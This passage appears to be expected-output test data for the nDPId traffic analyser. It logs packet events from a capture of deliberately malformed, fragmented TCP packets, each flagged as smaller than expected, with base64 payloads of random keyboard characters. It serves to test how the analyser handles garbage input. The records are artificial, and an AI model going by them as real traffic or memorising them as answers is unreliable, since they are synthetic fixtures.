-00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3318,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhdkAGRDsKAAACCoAAAjA1MSkoKiZeJSQjQCMkJV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3319,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027739775} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3319,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAheEAGRDkKAAACCoAAAiYqKComXiUkI3JzZGx1aGc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3320,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027739789} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3320,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhekAGRDcKAAACCoAAAmtmZHNia252Yy8udGdmdGc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3321,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027739801} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3321,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhfEAGRDUKAAACCoAAAj9HUj9HUj9zUj83NDgzOTY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3322,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027739813} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3322,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhfkAGRDMKAAACCoAAAikoKiZeJSQjQCFAIyQlXiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3323,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027739826} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3323,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhgEAGRDEKAAACCoAAAiooKSgqJl4lJCNAIyQlXiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3324,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027739840} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3324,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhgkAGRC8KAAACCoAAAiooKiZeJSQjJiooS0lKSEc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3325,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027739852} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3325,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhhEAGRC0KAAACCoAAAkZEMiomREZHSEpLJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3326,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027739864} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3326,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhhkAGRCsKAAACCoAAAiNFVFIlWV5VJkkqT1B7Ijo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3327,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027739876} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3327,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhiEAGRCkKAAACCoAAAmhkZmxrZGE+TDxNTkJIR0Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3328,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027739889} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3328,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhikAGRCcKAAACCoAAAkRFVyNAJCVeSEJHVgo0MjE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3329,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027739901} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3329,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhjEAGRCUKAAACCoAAAjQ2MzE5ODIwNTEpKComXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3330,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027739914} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3330,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhjkAGRCMKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3331,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027739925} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3331,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhkEAGRCEKAAACCoAAAnJzZGx1aGdrZmRzYmtudmM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3332,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027739938} -00361{"packet_event_id":1,"packet_event_name":"packet","packet_id":3332,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhkkAGRB8KAAACCoAAAi8udGdmdGc\/R1I\/R1I\/c1I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3333,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027739950} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3333,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhlEAGRB0KAAACCoAAAj83NDgzOTYpKComXiUkI0A="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3334,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027739962} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3334,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhlkAGRBsKAAACCoAAAiFAIyQlXiYqKCkoKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3335,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027739973} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3335,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhmEAGRBkKAAACCoAAAiNAIyQlXiYqKComXiUkIyY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3336,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027739985} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3336,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhmkAGRBcKAAACCoAAAiooS0lKSEdGRDIqJkRGR0g="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3337,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027739998} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3337,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhnEAGRBUKAAACCoAAAkpLJl4lJCMjRVRSJVleVSY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3338,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027740010} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3338,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhnkAGRBMKAAACCoAAAkkqT1B7IjpoZGZsa2RhPkw="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3339,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027740022} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3339,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhoEAGRBEKAAACCoAAAjxNTkJIR0ZERVcjQCQlXkg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3340,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027740037} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3340,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhokAGRA8KAAACCoAAAkJHVgo0MjE0NjMxOTgyMDU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3341,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027740050} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3341,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhpEAGRA0KAAACCoAAAjEpKComXiUkI0AjJCVeJio="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3342,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027740063} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3342,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhpkAGRAsKAAACCoAAAigqJl4lJCNyc2RsdWhna2Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3343,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027740075} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3343,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhqEAGRAkKAAACCoAAAmRzYmtudmMvLnRnZnRnP0c="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3344,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027740089} -00361{"packet_event_id":1,"packet_event_name":"packet","packet_id":3344,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhqkAGRAcKAAACCoAAAlI\/R1I\/c1I\/NzQ4Mzk2KSg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3345,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027740101} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3345,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhrEAGRAUKAAACCoAAAiomXiUkI0AhQCMkJV4mKig="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3346,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027740115} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3346,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhrkAGRAMKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3347,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027740129} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3347,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhsEAGRAEKAAACCoAAAiomXiUkIyYqKEtJSkhHRkQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3348,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027740141} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":3348,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhskAGQ\/8KAAACCoAAAjIqJkRGR0hKSyZeJSQjI0U="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3349,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027740154} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":3349,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhtEAGQ\/0KAAACCoAAAlRSJVleVSZJKk9QeyI6aGQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3350,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027740165} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":3350,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhtkAGQ\/sKAAACCoAAAmZsa2RhPkw8TU5CSEdGREU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3351,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027740177} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":3351,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhuEAGQ\/kKAAACCoAAAlcjQCQlXkhCR1YKNDIxNDY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3352,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027740224} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":3352,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhukAGQ\/cKAAACCoAAAjMxOTgyMDUxKSgqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3353,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027740236} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":3353,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhvEAGQ\/UKAAACCoAAAkAjJCVeJiooKiZeJSQjcnM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3354,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027740248} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":3354,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhvkAGQ\/MKAAACCoAAAmRsdWhna2Zkc2JrbnZjLy4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3355,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027740260} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":3355,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhwEAGQ\/EKAAACCoAAAnRnZnRnP0dSP0dSP3NSPzc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3356,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027740272} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3356,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhwkAGQ+8KAAACCoAAAjQ4Mzk2KSgqJl4lJCNAIUA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3357,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027740287} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3357,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhxEAGQ+0KAAACCoAAAiMkJV4mKigpKComXiUkI0A="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3358,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027740299} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3358,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhxkAGQ+sKAAACCoAAAiMkJV4mKigqJl4lJCMmKig="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3359,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027740311} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3359,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhyEAGQ+kKAAACCoAAAktJSkhHRkQyKiZERkdISks="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3360,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027740324} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3360,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhykAGQ+cKAAACCoAAAiZeJSQjI0VUUiVZXlUmSSo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3361,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027740335} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3361,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhzEAGQ+UKAAACCoAAAk9QeyI6aGRmbGtkYT5MPE0="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3362,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027740348} 